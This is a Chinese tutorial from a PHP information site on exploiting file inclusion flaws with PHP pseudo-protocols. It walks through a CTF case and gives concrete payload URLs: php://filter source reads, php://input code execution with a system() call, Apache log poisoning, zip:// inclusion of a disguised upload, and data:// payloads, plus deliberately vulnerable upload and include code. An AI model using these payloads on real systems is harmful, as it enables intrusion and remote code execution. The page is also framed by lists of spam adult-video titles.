久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合

站長資訊網(wǎng)
最全最豐富的資訊網(wǎng)站

一起來分析文件包含及PHP偽協(xié)議利用

本篇文章給大家?guī)砹岁P于PHP的相關問題,其中主要介紹了關于文件包含和PHP偽協(xié)議的相關內容,文件包含漏洞是“代碼注入”的一種,下面一起來看一下,希望對大家有幫助。

一起來分析文件包含及PHP偽協(xié)議利用

推薦學習:《PHP視頻教程》

文件包含

文件包含漏洞是“代碼注入”的一種。其原理就是注入一段用戶能控制的腳本或代碼,并讓服務端執(zhí)行。“代碼注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞進行攻擊,需要滿足以下兩個條件:

  • Web應用采用include()等文件包含函數(shù)通過動態(tài)變量的方式引入需要包含的文件;

  • 用戶能夠控制該動態(tài)變量。

常見的導致文件包含的函數(shù):
PHP:include()、include_once()、require()、require_once()等;
1.php文件包含可以直接執(zhí)行包含文件的代碼,包含的文件格式不受任何限制
在 php 中提供了四個文件包含函數(shù):
(1) Require: 找不到被包含的文件時會產(chǎn)生致命錯誤(E_COMPILE_ERROR),并停止腳本;
(2) Include:找不到被包含的文件時只會產(chǎn)生一個(E_warinng),腳本將繼續(xù)執(zhí)行;
(3) Require_once:與 include 類似會產(chǎn)生警告,區(qū)別是如果文件代碼已經(jīng)被包含,則不會再次被包含;

PHP偽協(xié)議

php偽協(xié)議,事實上是其支持的協(xié)議與封裝協(xié)議。而其支持的協(xié)議有:

file:// — 訪問本地文件系統(tǒng)  php:// — 訪問各個輸入/輸出流(I/O streams)data:// — 數(shù)據(jù)(RFC 2397)zip:// — 壓縮流

一起來分析文件包含及PHP偽協(xié)議利用

all_url_include在php 5.2以后添加,安全方便的設置(php的默認設置)為:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允許打開URL文件,預設啟用)
allow_url_fopen = Off (禁止打開URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,預設關閉)
allow_url_include = On (允許引用URL文件,新版增加功能)

file協(xié)議

file:// 文件系統(tǒng)是 PHP 使用的默認封裝協(xié)議,展現(xiàn)了本地文件系統(tǒng)。

使用file://協(xié)議去包含本地的phpinfo.php

http://localhost/www/lfi.php?file=file://F:phpstudyphpstudy_proWWWwwwphpinfo.php

一起來分析文件包含及PHP偽協(xié)議利用

PHP協(xié)議

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是php://filter和php://input
php://filter用于讀取源碼:
php://input用于執(zhí)行php代碼。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter讀取php文件時候需要base64編碼
一起來分析文件包含及PHP偽協(xié)議利用
php://input

  1. allow_url_include = On

php://input + [POST DATA]執(zhí)行php代碼
需要***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input  POST	<?system('ipconfig')?>

一起來分析文件包含及PHP偽協(xié)議利用

  1. allow_url_include = Off

不過一般大部分情況下,allow_url_include 為默認關閉狀態(tài),
就不能包含POST數(shù)據(jù)了,這種情況下可以包含apache日志或者錯誤日志記錄

首先需要fuzz大法,爆破出日志的路徑,

為了測試方便,我先將日志的內容清空,方便演示

訪問該網(wǎng)址,通過報錯將代碼寫入日志中
注意:這里要使用burp抓包去訪問,不然代碼會被url編碼寫入日志,就不能執(zhí)行了
也可以將代碼寫入 user-agent中

http://localhost/www/lfi.php?file=<?php phpinfo();?>

一起來分析文件包含及PHP偽協(xié)議利用

一起來分析文件包含及PHP偽協(xié)議利用
我的日志路徑為:
F:phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

使用file://偽協(xié)議去讀取日志,發(fā)現(xiàn)phpinfo被成功執(zhí)行了

http://localhost/www/lfi.php?file=file://F:phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

一起來分析文件包含及PHP偽協(xié)議利用

zip://協(xié)議

** zip:// & bzip2:// & zlib:// **均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx等等。

這里分析一個文件上傳和文件包含結合的CTF案例

首先分析文件上傳的源代碼

<html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){     echo $_FILES["file"];     $allowedExts = array("gif", "jpeg", "jpg", "png");     @$temp = explode(".", $_FILES["file"]["name"]);     $extension = end($temp);     if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")     || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")     || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))     && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))     {         //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);         echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];     }     else     {         echo "upload failed!";     }}echo $_FILES["file"]["tmp_name"];?></html>

分析源代碼發(fā)現(xiàn),文件上傳采用了白名單限制策略,只能上傳
“gif", “jpeg”, “jpg”, "png"四種后綴名的文件。

分析文件包含的源代碼

<html>Tips: the parameter is file! :) <!-- upload.php --></html><?php     @$file = $_GET["file"];     echo $file;     if(isset($file))     {         if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)         {             echo "<p> error! </p>";         }         else         {             include($file.'.php');         }     }?>

分析文件包含源代碼,發(fā)現(xiàn)限制了部分偽協(xié)議和%00截斷,且在include中自動添加了php后綴名,但是沒有限制zip偽協(xié)議。

綜上分析可以發(fā)現(xiàn),在文件包含中利用zip偽協(xié)議,可以創(chuàng)建test.zip的壓縮包,里面放著test.php的文件。

在文件上傳時候將后綴名zip修改為png的后綴名,

test.php中寫入木馬

<?phpphpinfo();?>

如下圖所示
一起來分析文件包含及PHP偽協(xié)議利用

一起來分析文件包含及PHP偽協(xié)議利用

圖片上傳成功之后,利用文件包含和zip://協(xié)議去讀取test.png中的test.php,發(fā)現(xiàn)phpinfo()被執(zhí)行了,說明poc驗證成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

一起來分析文件包含及PHP偽協(xié)議利用

data://

條件:

allow_url_fopen:on allow_url_include :on

訪問網(wǎng)址

http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

也可以使用base64編碼,防止代碼被過濾掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
一起來分析文件包含及PHP偽協(xié)議利用

推薦學習:《PHP視頻教程》

贊(0)
分享到: 更多 (0)
?
網(wǎng)站地圖   滬ICP備18035694號-2    滬公網(wǎng)安備31011702889846號
久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合
好吊视频一区二区三区四区| 一区二区日韩免费看| 婷婷激情综合| 日韩免费高清| 中文字幕在线免费观看视频| 日韩av自拍| 久久亚洲精品中文字幕蜜潮电影| 香蕉成人av| 欧美福利在线| 亚洲欧美久久| 亚洲精品乱码久久久久久蜜桃麻豆| 久久xxxx| 国产亚洲一区| 国产精品极品在线观看| 老色鬼精品视频在线观看播放| 欧美久久香蕉| 久久99久久人婷婷精品综合| 国产一区二区三区四区五区传媒| 在线人成日本视频| 国产综合视频| 日韩精品一区二区三区免费视频| 日韩精品a在线观看91| 久久av电影| 88xx成人免费观看视频库| 欧美肉体xxxx裸体137大胆| 99国产精品| 国产欧美一区二区三区米奇| 麻豆国产91在线播放| 成人福利av| 亚洲人亚洲人色久| 成人精品动漫一区二区三区| 国产美女高潮在线| 丝袜美腿亚洲一区| 国产精东传媒成人av电影| 日韩三区免费| 欧美精品中文字幕亚洲专区| 蜜桃精品在线| 久久国产免费看| 久久精品高清| 欧美日韩中文字幕一区二区三区| 日韩制服丝袜先锋影音| 波多视频一区| 亚洲色图国产| 麻豆成人在线观看| 男女男精品视频网| 成人在线免费观看网站| 色综合www| 国产亚洲第一伦理第一区| 婷婷综合六月| 国产精品免费精品自在线观看| 亚洲高清毛片| 日韩成人精品一区| 国产精品中文| 99国产精品视频免费观看一公开| 国产aa精品| 免费看久久久| 国产精品一区二区精品| 在线亚洲一区| 激情婷婷综合| 色88888久久久久久影院| 美女尤物国产一区| 美女国产精品| 国产一级久久| 日韩一区二区免费看| 欧美中文字幕一区二区| 六月婷婷综合| 98精品久久久久久久| 久久精品女人| 欧美日韩午夜| 久久av免费看| 国产传媒在线观看| 国精品产品一区| 精品三级国产| 成人台湾亚洲精品一区二区| 国产毛片精品久久| 国产精品99久久免费观看| 亚洲精品国产日韩| 蜜桃免费网站一区二区三区| 久久亚洲风情| 亚洲午夜国产成人| 日本aⅴ精品一区二区三区| 婷婷亚洲成人| 国产精品探花在线观看| 精品国产乱码久久久久久樱花 | 国产传媒在线观看| 91亚洲国产成人久久精品| 日韩激情一区| 石原莉奈在线亚洲三区| 欧美中文字幕| 国产伦理一区| 亚洲不卡av不卡一区二区| 99国产精品| 黄色精品视频| 亚洲精选av| 国产精品99一区二区三区| 午夜av成人| 日韩国产一二三区| 国产一区不卡| 在线视频观看日韩| 亚州欧美在线| 午夜精品成人av| 天堂久久av| 国产伊人精品| 日韩精品免费视频一区二区三区| 久久影视三级福利片| 99日韩精品| 精品一区电影| 怡红院精品视频在线观看极品| 欧美日本不卡高清| 亚洲欧洲一区| 91亚洲自偷观看高清| 黄色欧美在线| 色综合视频一区二区三区日韩| 欧美日韩视频一区二区三区| 精品视频在线观看网站| 99视频在线精品国自产拍免费观看| 国产精品免费精品自在线观看| 99国产精品99久久久久久粉嫩| 国产极品一区| 欧美亚洲tv| 天堂精品久久久久| 狠狠色综合网| 久久精品青草| av资源亚洲| 国产第一亚洲| 欧美91在线| 国产精品15p| 美女国产精品久久久| 国产欧美69| 久久97视频| caoporn视频在线| 91日韩在线| 国产在线观看www| 国产一区二区三区四区| 国产激情精品一区二区三区| 日韩在线麻豆| 日韩欧美另类中文字幕| 日本aⅴ亚洲精品中文乱码| 亚洲精品激情| 日韩av中文字幕一区| 91精品麻豆| 高清日韩中文字幕| 天堂日韩电影| 国产精品日韩久久久| 亚洲一二av| 精品免费视频| 久久亚洲国产| 欧美综合国产| 欧美日韩伊人| 久久av网址| 1000部精品久久久久久久久| 高清久久精品| www.com.cn成人| 亚洲精品国产精品粉嫩| 成人一区而且| 国产欧美大片| 日韩欧美久久| 日韩视频一区| 色一区二区三区| 91福利精品在线观看| 成人午夜国产| 国产精品一区二区三区美女 | 国产精品白浆| 91精品啪在线观看国产18 | 久久久久亚洲| 69精品国产久热在线观看| 日韩免费视频| 亚洲涩涩av| 成人在线丰满少妇av| 久久超级碰碰| 亚洲精品va| 精品日本视频| 日本高清久久| 精品91福利视频| 午夜日韩福利| 国产高清不卡| 日本亚洲不卡| 尹人成人综合网| 精品美女在线视频| 日韩一区二区三免费高清在线观看| 亚洲综合电影| 精品日产乱码久久久久久仙踪林| 亚洲精品无吗| 国产视频一区在线观看一区免费| sm捆绑调教国产免费网站在线观看 | 欧美网站在线| 97精品一区| 国产精品久久久久久久久久齐齐| 免费视频一区二区| 欧美在线亚洲| 蜜桃tv一区二区三区| аⅴ资源天堂资源库在线| 牛牛精品成人免费视频| 久久国产欧美日韩精品| 国产调教精品| 免费一级欧美在线观看视频| 国产欧美综合一区二区三区| 日韩成人午夜精品| 欧美日韩a区| 国产精品hd|